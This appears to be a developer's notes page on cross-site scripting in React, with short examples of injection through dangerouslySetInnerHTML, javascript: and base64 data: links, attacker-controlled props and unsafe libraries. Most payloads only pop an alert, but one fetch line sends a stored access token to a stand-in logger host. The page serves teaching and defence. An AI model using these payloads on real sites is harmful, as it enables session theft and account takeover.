- React
- XSS
- 📖 React is quite safe by default however there are some attack vectors
- Github: How Much XSS Vulnerability Protection is React Responsible For?#3473
- ✍ (2018) Avoiding XSS in React is still hard
Example of attack vectors
XSS via dangerouslySetInnerHTML
const username = "<img onerror='alert(\"Hacked!\")' src='invalid-image' />";
class UserProfilePage extends React.Component {
render() {
return (
<div dangerouslySetInnerHTML={{"__html": aboutUserText}} />
);
}
}
ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js"></script>
<div id="app"></div>XSS via a.href attribute
const url = "javascript:alert('Hacked!');";
class UserProfilePage extends React.Component {
render() {
return (
<a href={url}>My Website</a>
);
}
}
ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));XSS via a.href attribute with base64
- data: text/html; base64,
PHNjcmlwdD5hbGVydCgiSGFja2VkISIpOzwvc2NyaXB0Pg==-><script>alert("Hacked!");</script>
const userWebsite = "data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGFja2VkISIpOzwvc2NyaXB0Pg==";
class UserProfilePage extends React.Component {
render() {
const url = userWebsite.replace(/^(javascript\:)/, "");
return (
<a href={url}>My Website</a>
)
}
}
ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));XSS via attacker controlled props
const customPropsControledByAttacker = {
dangerouslySetInnerHTML: {
"__html": "<img onerror='alert(\"Hacked!\");' src='invalid-image' />"
}
};
class Divider extends React.Component {
render() {
return (
<div {...customPropsControledByAttacker} />
);
}
}
ReactDOM.render(<Divider />, document.querySelector("#app"));XSS payload via fetch
In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. The agile developer of today uses stateless session tokens, elegantly saved in client-side local storage. Consequently, hackers must adapt their payloads accordingly.
When exploiting an XSS attack a ReactJS web app, you could inject something along the following lines to retrieve an access token from local storage and sent it to your logger:
fetch(‘http://example.com/logger.php?token='+localStorage.access_token);
XSS via unsafe library
- ✍ Avoiding XSS via Markdown in React This example is a bit dated, here the key lesson:
- adding dependencies increase risk of vulnerabilities
- dependencies may include libraries that doesn’t handle input correctly and therefore are vulnerable to injections